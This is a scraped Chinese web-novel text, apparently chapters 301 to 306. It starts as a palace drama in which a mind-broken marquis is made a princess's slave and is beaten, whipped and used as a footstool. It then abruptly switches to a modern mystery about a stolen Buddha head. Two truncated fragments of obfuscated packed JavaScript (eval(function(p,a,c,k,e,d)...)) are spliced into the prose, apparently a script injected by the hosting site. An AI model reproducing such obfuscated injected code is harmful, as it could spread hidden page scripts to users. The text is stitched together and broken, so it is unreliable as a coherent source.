而裴应见,这个方才还如同地狱修罗的男人,此刻却像一只被安抚的巨兽,温顺地垂下眼睫,甚至微微侧过头,用脸颊主动蹭了蹭她冰凉的掌心。 那动作里,带着全然的信赖与依恋。 月娘的眼中,终于闪过一丝真正的讶异。 她收回手,声音平直得听不出任何情绪,对着他,也对着满朝文武,更对着龙椅上的那个人,缓缓开口。 “陛下在此,不可无礼……跪下。” 这道命令,仿佛是神谕。 “扑通——” 一声闷响。 在所有人惊骇欲绝的目光中,裴应见毫不犹豫,双膝一软,对着龙椅的方向,重重地跪了下去。 膝盖骨与冰冷坚硬的金砖相撞,发出令人牙酸的声响,可他却像感觉不到痛楚,脊背依旧挺得笔直,只是那双空洞的眼,自始至终,都追随着那抹烈火般的红衣。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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月娘微微侧头,看向龙椅上的皇帝,红唇轻启,吐出了最残忍的惩罚。 “……就罚他去郡主府中,做个奴仆吧。也好让臣女时时看管,日夜教导,免得他再出来,冲撞了陛下。” 第301章 将你赐予郡主为奴 此言一出,满朝哗然! 让曾经一人之下万人之上的镇国侯,去做一个女人的家奴?! 这是将他的尊严、他的过往、他的一切,都剥得干干净净,然后狠狠地,踩在脚下,碾进尘埃里! 这比杀了他,还要残忍百倍! 云承月气血翻涌,一股腥甜直冲喉口,指尖的力道几乎要将轮椅的扶手生生捏碎。 他身形才微动,便被身后的青川用尽全身力气死死按住。 青川的手掌滚烫,隔着衣料传来剧烈的颤抖,无声地恳求。 不能动。 一旦暴露,他们连最后那点翻盘的微末希望,都将荡然无存。 现在,他本该只是个与镇国侯府毫无干系、碰巧为裴应见诊治的神医,仅此而已。 皇帝抚掌大笑,那笑声在空旷的金銮殿上回荡,带着毫不掩饰的快意与残忍。 “准了!”他一挥龙袖,目光转向地上跪着的那个身影,像是欣赏一件终于被驯服的藏品,“裴应见,朕将你赐予安乐郡主为奴,你......可愿意啊?” 所有人的目光,怜悯的、鄙夷的、幸灾乐祸的,瞬间都聚焦在了裴应见身上。 裴应见恍若未闻,依旧固执地看着月娘的方向。 旁边的大太监立刻会意,扭着腰,尖着嗓子凑到他耳边,添油加醋地将皇帝的“恩典“又解释了一遍。 他说:“以后你就可以日日夜夜都跟在郡主身边了。你可高兴?” 裴应见空洞的眼神里,终于起了波澜。 他迟钝地消化着这句话,片刻后,那张苍白得没有一丝血色的脸上,竟绽开一个笑容。 纯粹的、不含杂质的、近乎孩童般的喜悦。 在满朝文武死寂的注视下,他抬起头,看向月娘,眼神中满是期待,然后,用力地点了点头。 他非但不觉得这是剜心剔骨的羞辱,反而认为,这是能让他永远和“她“在一起的无上恩赐。 ...... 退朝的钟声敲响。 文武百官如蒙大赦,却又像被施了定身法,纷纷退至两侧,让出一条宽阔的通道。 那通道的尽头,通往的是无尽的深渊与耻辱。 月娘被册封为安乐郡主,仪态万方地走在最前。 而昔日的镇国侯,就像一条被认领的忠犬,默默地、一步不落地,跟在她身后。 他的脊背依旧挺直,步履沉稳,可那双眼,却再也看不到满朝的同僚,看不到头顶的苍穹,只剩下前方那片烈火般的红。 他走过熟悉的大殿,走下白玉的阶梯,走向停在宫门外的、属于安乐郡主的华贵车驾。 月娘上了车,厚重的帘子落下,隔绝了内外。 裴应见便在车驾旁站定,如一尊沉默的石像,连头也未曾回一下。 不远处,云承月的轮椅被青川推着,正准备离开这令人窒息的皇城。 一个阴阳怪气的声音,却从旁边飘了过来。 “云先生,请留步。” 皇帝身边最得宠的太监,领着几个小内侍,拦住了他们的去路。 他脸上堆着笑,那笑意却不达眼底,像一张虚伪的面具。 “云先生,”太监躬着身,“陛下有旨。您医术盖世,心怀仁德。这裴......哦不,这安乐郡主府上的新奴才,顽疾在身,陛下心中甚是挂念。就请您一同移步郡主府,也好随时为他诊治,莫要让他......惊扰了郡主才好。” 名为“照顾”的圣旨,实为贴身的囚笼。 他不仅要监视裴应见,还要时刻知道他的身体状况,因此才有了这道旨意。 太监那一声故意说错又改口的“裴......”,那句轻飘飘的“新奴才”,每一个字,都像淬了毒的针,密密麻麻地扎在云承月和青川心上。 青川的脸瞬间血色尽失。 云承月却只是静静地坐着。 片刻后,他微微颔首,声音听不出喜怒。 “草民,遵旨。” 安乐郡主的车驾,从宫门一路行至承恩街,所过之处,百姓避让,行人侧目。 那不是对新晋郡主的敬畏,而是一种混杂着好奇、怜悯与讥诮的复杂窥探。 人人都在看,看车驾旁这个衣着光鲜,俊逸非凡却神情虔诚的男子,到底是什么人。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你——”他刚吼出一个字,就被身旁的青川死死按住。 “放肆!”月娘冷了脸。 她甚至没看青义,直接踹了裴应见一脚:“他对我无礼,去,教训他。” 裴应见闻言,空洞的眸子转向青义。 没有任何犹豫,他身形一晃,带起一阵劲风,瞬间就到了青义面前。 青义又惊又恐,下意识地想要格挡,却哪里是如今只剩本能、力量不减反增的裴应见的对手? “砰!”一记重拳,结结实实地砸在青义的胸口。 青义整个人如断线的风筝般倒飞出去,重重撞在廊柱上,呕出一口血来。 他挣扎着抬起头,看到的,却是自家侯爷毫无情绪的脸,和那只再次扬起的、准备给予他第二击的拳头。 青义的眼中,终于流露出全然的、不可置信的绝望。 侯爷…… “郡主!”青川嘶声喊道,用身体死死护住青义。“郡主,属下们错了,求郡主开恩!” 月娘仿佛这才满意,她看着跪倒在地的青义和青川,又看了看裴应见,招了招手。 裴应见立刻回到了她身边,重新跪好。 “真是一条好狗。”月娘笑了,揪了揪裴应见的脸颊,“跪好了,本郡主随时会叫你来伺候。” 说完,转身进去休息去了。 裴应见就在那片冰冷的石板上直挺挺地跪着。 将一旁震惊和难过的青川和青义视若无物。 青川将青义带走,走到无人处,青义的眼泪再也忍不住,混合着嘴角的血,无声地滑落。 他哭得像个孩子。 “青川哥……侯爷他……” 青川暗暗咬牙,深深叹了口气: “忍着。我们现在只能忍着,先保住侯爷的命,再图谋其他。” …… 裴应见这一跪,就从午后跪到了黄昏。 夕阳的余晖将他的影子拉得很长,孤寂而落寞。 他的脸上带着薄汗,略显狼狈,但是他没擦。 因为月娘并没有允许他擦。 月娘睡了一觉,醒来时,透过窗棂,看到那个身影依旧如石像般跪着,一动不动。 她推开门走出去。 听到动静,裴应见抬起头,那双空洞的眼在看到她的瞬间,亮了一下,像找到了光的孩子,满是纯粹的孺慕。 月娘心中那股恶意的趣味再次油然而生。 她坐到院中的石凳上,懒懒地吩咐:“去,倒杯茶来。” 裴应见立刻起身,动作有些僵硬,却毫不迟疑地走向茶房。 当他端着茶盘,小心翼翼地走到月娘面前时,月娘却连看都未看,只是手腕一斜。 “哗啦——”一整杯滚烫的茶水,尽数泼在了裴应见的脸上、胸前。 滚烫的茶水沿着他俊逸却苍白的面颊蜿蜒而下,水珠滚过他坚毅的下颌,没入喉结,最终渗进他宽阔的胸膛。 薄薄的衣料瞬间湿透,紧紧地、近乎透明地贴在他肌理分明的胸膛上。 而那被滚水浇淋过的皮肤,则迅速泛起一片暧昧又刺目的潮红,像是雪白的宣纸上,被肆意泼洒开的胭脂,带着灼人的温度。 青川和青理正好赶来,看到这一幕,心脏都揪紧了。 月娘却蹙起眉,满脸嫌恶地呵斥:“笨手笨脚的东西!” 然而,预想中的躲闪和痛楚,并未出现在裴应见的脸上。 他甚至没有眨眼,任由那滚烫的茶水浇下,反而因为能离她这么近,唇角竟勾起一个满足的、孩童般的微笑。 他放下茶盘,默默用袖子擦去脸上的水渍,动作笨拙而认真。 月娘眼中的快意更盛。 她随手拿起桌上的空茶盏,狠狠砸在地上。 “啪!”瓷器碎裂,碎片四溅。 她抬起脚,用那只绣着精致花纹的软靴,指向一地狼藉。 “捡起来。” 裴应见立刻蹲下身,伸出手,要去拾取那些锋利的碎片。 就在他的指尖触碰到碎瓷的瞬间,月娘的脚精准地、毫不留情地,踩在了他的手背上。 她甚至还用力碾了碾。 鲜血,瞬间从她的鞋底和他的指缝间渗出,在青灰色的石板上,晕开一朵刺目的红花。 “痛吗?”她居高临下地问,声音里带着残忍的笑意。 裴应见抬起头,看着她,那双空洞的眸子映着她的身影,他摇了摇头,声音沙哑,却清晰无比:“不痛。” “只要能跟你在一起,就不痛。” 青川和青理都懵了,他们狠狠咬着牙,才控制住自己没有冲上去。 可是月娘却还没有完。 裴应见的话就像是一把钥匙,彻底打开了她心中施虐的欲念。 她收回脚,看着他鲜血淋漓的手,脸上的笑意愈发扭曲。 啪! 抬手一个耳光,就掴在了裴应见的脸上。 裴应见的头被打得偏向一侧,俊美的脸上迅速浮起五道指印。 可他却连眉头都没皱一下,只是固执地、痴迷地,望着她。 仿佛那不是羞辱的巴掌,而是情人的爱抚。 月娘忍不住笑出了声来。 啪! 啪! 啪啪啪! 接连几个清脆的耳光,狠狠甩在他的脸上。 一连串清脆的耳光,抽得院内一片死寂。 青川和青理双拳紧握,指节因用力而泛白,牙关几乎咬碎,才能勉强克制住那份冲上去同归于尽的冲动。 可裴应见,却连眉都未曾皱一下。 他只是固执地、痴迷地,望着眼前这张脸。 他的脸上迅速红肿起来,五道清晰的指印交叠在一起,狼狈不堪,可那双空洞的眸子里,却依旧映着月娘的身影,甚至还带着一丝讨好的的光。 月娘越发笑出了声,那笑声轻快,却透着一股子令人毛骨悚然的残忍快意。 她玩腻了,收回手,用指尖嫌恶地擦了擦掌心,仿佛碰了什么脏东西。 不远处的廊下,云承月静静地坐在轮椅里,将这一切“听”得清清楚楚。 那一声声清脆的掌掴,像是一记记重锤,狠狠砸在他的心上。 那女人的面容虽和秦绵绵一模一样,整个人却冷酷而残忍,仿佛一把失去了刀鞘的刀,随时伤人。 第303章 打理马厩的马夫 ……若是真正的秦绵绵在此,看到她曾用性命去守护的男人,被人这般作践、这般羞辱,该是何等的心如刀割。 就在这时,月娘似乎终于察觉到了他的存在。 她那带着笑意的目光,如毒蛇一般,精准地投向了云承月所在的方向。 她缓缓摘下了脸上的红纱。 刹那间,一张与秦绵绵别无二致的脸,就这么清晰地暴露在空气中。 云承月的心脏,骤然一停。 即便早有准备,可当亲眼看到这张脸时,那股冲击力依旧让他呼吸都为之一滞。 月娘看着他,似乎有点好奇他为何对自己的面容会有这般无法掩饰的僵硬,她勾起唇角,随手从地上捡起一块锋利的碎瓷片,手腕一抖。 “嗖——” 瓷片带着破空之声,擦着云承月的耳廓飞了过去,钉入他身后的廊柱,入木三分。 青川惊出一身冷汗,下意识赶过去。 云承月却只是头微微偏了一下,仿佛只是被那声音惊扰,脸上依旧是盲人特有的平静与茫然。 “运气不错。”月娘懒洋洋地开口,“不过云先生,本郡主提醒你一句,现在我才是这府里的主人。往后,什么该看,什么不该看,什么该管,什么不该管,先生最好心里有数。” 云承月缓缓“转向”她的方向,唇角扯出一抹冰冷的弧度。 “我怎么不知道这侯府什么时候换了主人。” 月娘像是听到了什么天大的笑话,她低下头,看着跪在脚边,眼神始终追随着她的裴应见,笑得花枝乱颤。 “你听到了吗?”她捏着裴应见的下巴,强迫他抬起头,“那个瞎子问,你认不认我这个主人?” 裴应见的目光没有丝毫偏移,他看着月娘,眼神虔诚得像个信徒,沙哑地、一字一顿地开口:“你……是我的主人。“ 月娘脸上的笑意更深了,她松开手,目光再次转向云承月,那眼神锐利如刀:“云先生,你除了是大夫,你同他,还有什么别的干系?这般替他抱不平?” “没有干系。”云承月的声音冷了下去,“只是草民生平最看不惯的,便是恃强凌弱。” “恃强凌弱?”月娘嗤笑一声,“他裴应见触怒天子,本该是满门抄斩的大罪。如今陛下开恩,只是将他贬为奴,让他受些皮肉之苦,已经是天大的恩典了。怎么,在云先生眼里,竟成了本郡主恃强凌弱?” “他不是罪人,他是个病人。”云承月的声线陡然拔高,带上了难以抑制的怒意,“他心智全无,所作所为皆非本心!你这般折辱一个病人,与禽兽何异!” 院中的气氛一时凝固。 月娘的脸色冷了下来。 跪在地上的裴应见像是感应到了主人受到的冒犯,那双空洞的眸子里瞬间燃起冰冷的杀意,猛地转向云承月的方向,喉间发出一声野兽般的低吼,作势就要扑过去。 月娘立刻笑了。 她伸出一只手,轻轻按在裴应见的胸口。 那即将暴起的杀神,瞬间就温顺了下来,重新变回了那条听话的狗。 她看着脸色铁青的云承月,慢悠悠地道:“看到了吗?云先生。我的狗,知道该咬谁。你还是管好你自己吧。” 说完,她甚至懒得再看云承月一眼,转身走进了屋子。 云承月坐在轮椅上,强力克制自己,才没有发起抖来。 半晌后,青川推着他,无声地退出了这个令人窒息的院落。 …… 侯府内的每一桩事,月娘都事无巨细地报入宫中,呈于皇帝的案头。 当听到那个曾经让他夜不能寐的镇国侯,如今被一个女人扇着耳光,踩着手背,却连眉头都不皱一下时,皇帝在御书房内抚掌大笑,龙心大悦。 “好!好啊!”他赞赏的目光落在前来回话的月娘身上,“这柄最锋利的刀,总算是有了能镇住它的刀鞘了。安乐郡主,做得很好,往后不必束手束脚,尽管‘教导’,务必要让他知道,谁才是他的主子!” 这道口谕,无异于一张可以肆意施为的令牌。 月娘领旨,告退。 回到侯府,再看到裴应见的时候,她忽然觉得有些腻了。 日复一日地看着那人像条狗一样跪在院中,看着他毫无反应地承受那些皮肉之苦,最初那点恶意的趣味,也渐渐消磨殆尽。 她需要新的乐子。 她坐在主位上,指尖有一下没一下地敲着光滑的紫檀木扶手,目光在院中扫了一圈,最终落在了不远处垂首侍立的青川身上。 “青川。” “属下在。”青川上前一步,躬身。 “去,”月娘懒懒地抬了抬眼皮,“给他换身下人的粗布衣裳,这身华贵的锦袍,他不配穿。” 青川的身子猛地一僵。 月娘仿佛没看到,继续用那平淡无波的语调吩咐着: “府里应该还缺个打理马厩的马夫吧?我看他就很合适。往后,他就住马厩,每日的马粪都归他清扫。” 青川暗自咬牙,瞪大眼睛。 让他们的侯爷去住马厩?去扫马粪? 那可是镇国侯! 青川的喉头剧烈地上下滚动,他想反驳,可对上月娘那双毫无温度的眼,所有的话都堵在了喉咙里,化作了无边无际的屈辱与冰冷。 他知道,他不能反抗。 任何反抗,都会被那个女人当成新的借口,变本加厉地折辱侯爷。 “……是。” 一个字,几乎耗尽了他全身的力气。 青川领了命,脚步沉重地走向库房,取来一套府里下人穿的、最粗糙的青灰色布衣。 当他捧着那身衣服,走到仍旧跪在院中的裴应见面前时,后者抬起了头。 那双空洞的眼,在看到他时,没有半分波澜。 裴应见不在乎这身衣服代表着什么,他只是顺从地站起身,任由青川替他脱下身上染血的锦袍,换上那身粗布麻衣。 做完这一切,青川的眼眶已然通红。 他不敢再看,转身疾步离去,仿佛身后有什么东西在追着他噬咬。 裴应见被带到了马厩。 这里混杂着草料与牲畜排泄物的浑浊气味,光线昏暗,与侯府任何一处院落的精致都格格不入。 可他毫不在意。 第304章 他成了女人上车的脚垫 他甚至没有去看分给自己的、那张只铺着一层薄薄稻草的硬板床。他只是默默地拿起角落的扫帚和木铲,开始清扫马厩。 动作笨拙,却异常认真。 因为月娘说了,这里归他清扫。 他不需要舒适的环境,不需要旁人的尊重,他唯一需要的,就是在做完这一切后,能站在院子的角落里,远远地看一眼那个在主屋里的人。 只要能看到那片红色的身影,他就心满意足。 这样的日子,过了数日。 这天午后,月娘似乎是待得烦了,忽然起了兴致,要出门逛逛。 华贵的郡主车驾很快便停在了府门前。 府内的下人们远远避开,连大气都不敢出。 月娘施施然地走了出来。 她的目光在众人身上一扫,最后落在了那个穿着粗布麻衣、身上还带着淡淡马厩气味的裴应见身上。 “你也跟着。”她命令道。 裴应见立刻扔下手里的活计,快步跟了上去,像以往每一次那样,沉默地跟在她身后。 一行人来到府门外。 月娘走到车驾前,却停住了脚步。 她没有立刻上车,而是回过头,用一种审视的、带着玩味的目光,看着身后的裴应见。 “本郡主要上车了。”她红唇轻启。 裴应见茫然地看着她,似乎不明白她的意思。 月娘笑了。 她什么也没说,只是抬起脚,将那只绣着金丝鸾鸟的精巧软靴,朝他面前的空地上,微微点了点。 一个无声的、却比任何言语都更加残忍的命令。 周遭的空气,瞬间凝固。 青川和青理站在不远处,浑身的血液仿佛在这一刻冻结成冰。 他们眼睁睁地看着,裴应见在片刻的迟疑后,竟真的明白了她的意图。 没有半分挣扎,没有半分犹豫。 他“扑通”一声,在车驾前,在所有下人面前,在那条人来人往的大街上,双膝跪地,然后,俯下身,将自己的脊背,拱成了一道坚实的、供人踩踏的阶梯。 月娘脸上的笑意更深了。 她提起裙摆,就这么,将那只精巧的软靴,稳稳地、毫不留情地,踩在了他的脊背上。 那曾是那个光风霁月的镇国侯的脊梁。 而现在,他成了一个女人上车的脚垫。 月娘踩着他的背,姿态优雅地登上马车,厚重的车帘落下,隔绝了内外。 裴应见依旧保持着那个屈辱的姿势,一动不动,直到车内传来一声冷淡的“走吧”,他才缓缓直起身,默默地跟上。 车驾一路向西。 京城最繁华的西市,人声鼎沸,喧嚣热闹。 小贩的叫卖声、孩童的嬉闹声、茶楼的说书声,混杂着各式点心与香料的气味,织成了一幅活色生香的尘世画卷。 而安乐郡主的车驾,就像一把锋利的刀,硬生生将这幅画卷从中剖开。 百姓们纷纷避让,好奇的目光黏在那辆华贵的马车,以及车旁那个身着粗布麻衣,却脊背挺直的男人身上。 他的步伐沉稳,眼神空洞,对周遭的一切指点与窥探恍若未觉。 车驾在西市最大的绸缎庄锦绣阁前停下。 月娘并未立刻下车。 她掀起帘子的一角,饶有兴致地看着外面攒动的人头,唇角勾起一抹冰冷的笑意。 裴应见立刻会意,在那万众瞩目的街市中央,他没有丝毫迟疑,“扑通”一声,双膝跪地,俯下身,将自己的脊背拱成了一道最卑贱的、供人踩踏的肉梯。 人群中,响起一片倒吸冷气的声音。 “天爷……那……那不是镇国侯吗?!” “他怎么……怎么穿着下人的衣服,还跪在地上……” “嘘!你不要命了!什么镇国侯,如今只是安乐郡主府上的一条狗!我可听说了,是陛下亲口赐下去的,在金銮殿上就跟疯了一样,只认郡主一人!” 议论声如潮水般四散开来,鄙夷的、怜悯的、幸灾乐乐的,各式各样的目光,像无数根针,密密麻麻地扎在侯府随行下人的身上。 青川站在不远处,垂在身侧的双手死死攥着,指甲几乎要嵌进掌心的肉里。 他看着那个曾是无数属下信仰的脊梁,如今被人当作脚凳,眼眶瞬间被血丝占满。 月娘很满意这轰动的效果。 她提起裙摆,姿态优雅地踩上裴应见的背,却在即将下马车时,脚下故意一崴。 “哎呀。”她轻呼一声,身形微晃。 裴应见以为是自己没跪稳,身体下意识地绷得更紧,一动不敢动。 月娘却已站稳了脚跟,居高临下地看着他,柳眉倒竖,声音不大,却足够让周围的人听得清清楚楚。 “没用的东西!连个脚凳都当不稳,本郡主养你何用?!” 她说着,抬起脚,用那只绣着金丝鸾鸟的精巧软靴,狠狠地、毫不留情地踹在了裴应见的肩上。 他高大的身躯晃了晃,却依旧死死撑在原地,连一声闷哼都未发出。 他只是抬起头,那双空洞的眸子望着她,带着一丝茫然和讨好,似乎在无声地询问,要怎样才能让她满意。 这副模样更是取悦了月娘。 她冷哼一声,转身走进锦绣阁,留下裴应见,如一尊雕像般,长久地跪在那片满是尘土与嘲弄的街道上。 不知过了多久,月娘才从锦绣阁里施施然地走了出来。 她手上没拿任何东西,显然进去只是为了将他晾在这里,供人观赏。 她走到裴应见面前,像是忽然想起了什么,抬起脚,将脚上的一只软靴轻轻一甩。 那只精巧的靴子,便划出一道弧线,“啪嗒”一声,掉在了不远处的灰尘里。 裴应见立刻像得了指令的猎犬,膝行几步上前,伸出双手,小心翼翼地将那只鞋子捧了起来,虔诚地、恭敬地,递到月娘面前。 月娘瞥了一眼他那双因清扫马厩而变得粗糙、指缝间还残留着污渍的手,脸上瞬间写满了嫌恶。 “脏死了。”她厌恶地皱起眉,“谁让你用这双手碰本郡主的鞋的?” 话音未落,她手腕一抖,不知从何处抽出一条赤红色的软鞭。 啪! 第305章 是我们认识的赵叔吗 一鞭子,结结实实地抽在了裴应见的手背上。 一道鲜红的鞭痕瞬间浮现。 可他像是感觉不到痛,依旧固执地捧着那只鞋,茫然地看着她。 啪! 又是一鞭! “告诉本郡主,你是什么东西?”月娘的声音里带着冰冷的笑意,一字一句地问。 裴应见迟钝地消化着她的问题。 啪! 第三鞭! “说!”她厉声呵斥。 周遭的百姓已经围成了一个圈,对着圈中的两人指指点点,满城的繁华,都成了这场残忍戏码的背景板。 在清脆的鞭声和满城的喧嚣中,裴应见终于开了口。 他看着月娘,眼神纯粹而执拗,用那沙哑的嗓音,清晰地、一字一顿地回答: “我……是你的……奴才。” 这三个字,像一道惊雷,在人群中炸开。 曾经功高盖世、权倾朝野的镇国侯,亲口承认,自己是一个女人的奴才! 这比任何圣旨、任何传言,都来得更加震撼,更加屈辱! 月娘笑了,那笑声在嘈杂的市井中,显得格外清脆悦耳。 “奴才?”她用鞭梢挑起他的下巴,逼他看着自己,“一个奴才,也配有侯爷的尊位吗?” 她凑近他,吐气如兰,说出的话却如淬毒的刀子:“本郡主不喜欢你的爵位,你的过往,都让本郡主觉得碍眼。你去写封奏折,告诉陛下,你自愿放弃镇国侯之位,永生永世,只做我安乐郡主的一条狗,如何?” 裴应见空洞的眼眸里,映着她带笑的脸。 他听不懂那些复杂的话,却清晰地捕捉到了最后那几个字。 “……做你……的狗。”他迟钝地重复着,那张被鞭子抽打、被众人围观的脸上,竟缓缓绽开一个满足的、孩童般的笑容。 他用力地点了点头。 “好。”一个字,掷地有声。 满城哗然。 青川站在人群外,只觉得眼前一黑,整个世界都在天旋地转。 他看到自家侯爷脸上那纯粹的笑,和他口中说出的那个“好”字,一股腥甜再也抑制不住,猛地从喉间涌出。 噗—— 一口鲜血,染红了身前的青石板路。 …… 客栈房间内一片死寂。 那份档案的末页,“赵立生”三个字像根毒刺,扎在每个人的心上。 “不可能!”姜敬意第一个打破沉默,他像是被人兜头泼了盆冷水,脸色涨红,“这绝对是同名同姓!老赵……他怎么可能是严家的人?他那个人……” 他语无伦次地比划着,想形容赵立生的热忱与淳朴,却发现言语在此刻显得无比苍白。 姚祁已经第一时间摸出了他那台改装过的平板,手指在屏幕上翻飞如蝶,屏幕幽光映着他紧蹙的眉头。 几分钟后,他颓然地摇了摇头。 “网上查不到任何‘赵立生’和‘严启山’有关联的信息,一丁点都没有。干净得就像这个人不存在于严家的世界里。” “这很正常。” 林鸢靠在床头,目光掠过姜敬意激动泛红的脸,带着一丝洞悉世情的漠然。 “对于严家那种曾经的门阀来说,在他们的权力鼎盛时期,让一个没有血缘的养子从所有公开记录里消失,就像碾死一只蚂蚁。这是一种特权,用权力抹掉一个人的过去,给他一张全新的、干净的身份。” 姜敬意被她的话堵得哑口无言,再也说不出一个反驳的字。 是啊,他忘了,林鸢也是从那个世界里出来的。 她最懂那种世界的规则。 秦绵绵没有说话。 她脑海里浮现出赵叔那张总是带着憨厚笑意的脸,想起他为自己提供过的那些帮助,想起他为了她的事而受的那些伤。 这一切,都和档案里那个冰冷的、被刻意隐藏的“养子”身份格格不入。 “我们现在怎么办?”姚祁压低了声音,打破了房内古怪的僵持,“警察还在景区,我们不能在这里坐以待毙。” 秦绵绵将纷乱的思绪强行压下,目光落在了林鸢身上。 “林家,有没有办法,查到这种被‘清除’掉的人?或者,确认我们认识的赵叔,到底是不是档案里的那个赵立生?” 林鸢迎着她的视线,她沉默了足足半分钟,像是在做一个艰难的权衡。 最终,她从随身的包里,拿出了一个东西。 那是一部手机。 或者说,像是一部手机。 它看起来极其老旧,外壳是那种过时的磨砂塑料,屏幕小得可怜,样式笨重得像个儿童玩具。 林鸢没有解释,只是熟练地按下一串复杂的开机指令。 在微弱的电量提示音后,她拨通了一个号码。 电话似乎瞬间就接通了。 林鸢没有半分寒暄,声音压得极低,语速极快: “查个人。赵立生,男,年龄在四十到五十之间。关联人,严启山。事件,三十年前青塔湖佛头失窃案。查他是否为严启山养子,以及严家败落后他的全部动向。” 她说完便挂断了电话,没有多余的个字。 整个过程不超过二十秒。 将那部“玩具”手机收好,她才抬眼看向众人,声音里透着一丝不易察觉的疲惫: “这是林家处理‘阴影’信息的渠道,如果这个人存在过,就一定能挖出来。但需要时间。” 房间里再度陷入沉寂。 等待是此刻最熬人的酷刑。 每一分每一秒,都可能生出变数。 “先走。”秦绵绵当机立断,“不管他是谁,这个地方都不能再待了。” 四人迅速收拾好本就不多的行李,秦绵绵给林鸢做了简单的伪装。 就在他们压低帽檐,准备趁着清晨溜出客栈后门时,一个熟悉的声音,像道惊雷在他们身后响起。 “小秦丫头?你们这是……?” 四人身体同时一僵。 秦绵绵缓缓回头,看到了站在吉祥客栈不远处那棵老槐树下的赵立生。 他穿着景区的工作制服,手里还提着一袋热气腾腾的包子,脸上挂着一如既往的、憨厚老实的笑容。 可这笑容,此刻在众人眼里,却比任何凶器都更令人心头发冷。 他的身后不远处,就有警车闪烁的灯光,隐约还能听到对讲机里传出的嘈杂人声。 第306章 关键信息 赵立生立刻察觉到他们骤然紧绷的气氛,快步走上前,压低声音:“你们这是怎么了?出什么事了?” 他的目光扫过被姚祁和姜敬意半扶半架着、戴着口罩和帽子的林鸢。 赵立生好像想到了什么,眼中露出讶然。 “警察就在那边,你们得赶紧离开这里。”赵立生神情变得严肃,“跟我来,我的车就在外面,能送你们出景区。” 几个人立刻互相交换了一个眼神。 眼下,关于赵立生的调查还没有眉目,他到底是好是坏,谁也不敢赌。 “赵叔,我们只是想换个地方住,不麻烦你了。” “别跟我见外了!”赵立生不由分说地拉了秦绵绵,带着他们朝一辆停在暗处的旧普桑走去,“这阵仗,跟当年佛头被盗的时候一模一样,闹得满城风雨。我知道你们查的事肯定跟警察有关,再不走就来不及了!” 他力气很大,动作却很稳,几乎是半强迫地将众人带上了车。 车子发动,平稳地驶出了景区大门。 姜敬意坐在副驾,心跳如鼓,他侧过脸,状似不经意地问:“老赵,你还记得当年佛头案啊?” “怎么不记得!”赵立生一拍大腿,脸上满是愤慨和惋惜,“那可是咱们青塔湖的宝贝啊!一夜之间就没了!那帮天杀的盗宝贼,太猖狂了!听说是什么国际团伙,要是让我逮着,非打断他们的腿不可!” 他骂得情真意切,每一个字都透着本地人对家乡宝物被窃的痛心。 车子很快驶离了景区范围,停在一个路口。 众人沉默着准备下车,不愿再与他多说半句。 “小秦丫头。”赵立生忽然叫住了她。 他目光越过秦绵绵,落在了她身边乔装后的林鸢身上。 “我虽然不知道你们在查什么,但我猜,跟你们在一起的这位女士,就是警察要找的人吧?”他叹了口气,眼神诚恳,“我帮不了警察什么,但我想帮你们。告诉我,你们需要什么?” 秦绵绵和姚祁对视一眼,都在对方眼中看到了警惕。 赵立生见他们不说话,有些着急:“我……我真的能帮忙!我……” 就在这时,后面的林鸢忽然动了一下。 她一直握着的那部老式手机,屏幕微不可查地亮了一瞬,又迅速暗下。 林鸢看了一眼,立刻抬起头,隔着口罩,对秦绵绵轻轻摇了摇头。 那双疲惫的眼睛里,透出的是一种如释重负的松弛。 ——此赵立生,非彼赵立生。 秦绵绵心中那块悬着的巨石,轰然落地。 她终于长长地舒了一口气,转头对赵立生露出一个笑容。 “……赵叔,其实我们就是在查当年佛头失窃的案子。” 赵立生愣住了,随即恍然大悟: “原来是这事!难怪!难怪!” 他像是终于找到了能使上劲的地方,立刻道: “这事你们找我可找对人了!我从小就在青塔湖边长大,认识好多经历过那事的老人,我帮你们去打听打听,看看当年有没有什么知情人!” …… 半小时后,在景区附近小镇的一家网吧二楼包厢里,四人总算找到了一个临时的落脚点。 空气里弥漫着泡面和尼古丁的混合气味,但对他们而言,这却是暂时的安全。 入夜时分,赵立生的电话果然打了过来。 他的声音兴奋又神秘: “问到了!我从一个老伙计嘴里问到了一个关键消息!他说当年那个国际盗窃团伙里,好像有个本地的向导。那家伙是个烂赌鬼,后来不知道跑哪儿去了。不过我那老伙计记得,那家伙当年总去一个地方——城西一家早就倒闭的旧棋牌室,我觉得你们可以去那里碰碰运气。” 秦绵绵立刻记下了地址。 “那地方早就没人了,你们去可得小心。”赵立生又叮嘱了几句才挂断电话。 “我去看看。”秦绵绵站起身。 “我跟你去。”姚祁也立刻收拾东西。 “那我呢?”姜敬意看向林鸢,她靠在沙发上,脸色仍旧不太好。 “四叔你留下。”秦绵绵看看林鸢,“照顾好她。” 临出发前,秦绵绵走到林鸢身边,低声问:“你怎么样?” 林鸢摇了摇头,忽然伸手,拉住了秦绵绵的手腕。 她的手很凉。 她从自己的头发上,取下一个毫不起眼的黑色金属发夹,塞进了秦绵绵的手心。 “这不是普通发夹,”她的声音很轻,却异常郑重,“遇到危险,就按下末端。它不是武器,但能救你。” 这亲昵又信任的举动,让站在一旁的姜敬意心中五味杂陈。 他看着两人交握的手,默默将视线转开。 …… 城西,一条被城市遗忘的背街小巷。 月光被两侧高耸斑驳的墙壁切割成碎片,勉强照亮脚下坑洼的地面和堆积在角落里腐烂的垃圾。 空气里弥漫着一股潮湿的霉味,混杂着死水与尘土的气息,钻进人的鼻腔,令人作呕。 赵立生口中的那家旧棋牌室就在巷子最深处。 一扇褪了色的木门紧闭着,门上的红漆剥落得厉害,露出底下朽坏的木头纹理。 门楣上方的招牌歪歪斜斜,只剩下一个模糊不清的“乐”字,在昏暗中像一张嘲讽的鬼脸。 秦绵绵和姚祁如两道影子,悄无声息地贴着墙根接近。 姚祁从口袋里摸出一套纤细的工具,正要上前撬开那把锈迹斑斑的铜锁。 就在他的指尖即将触碰到锁芯的刹那—— 嗡—— 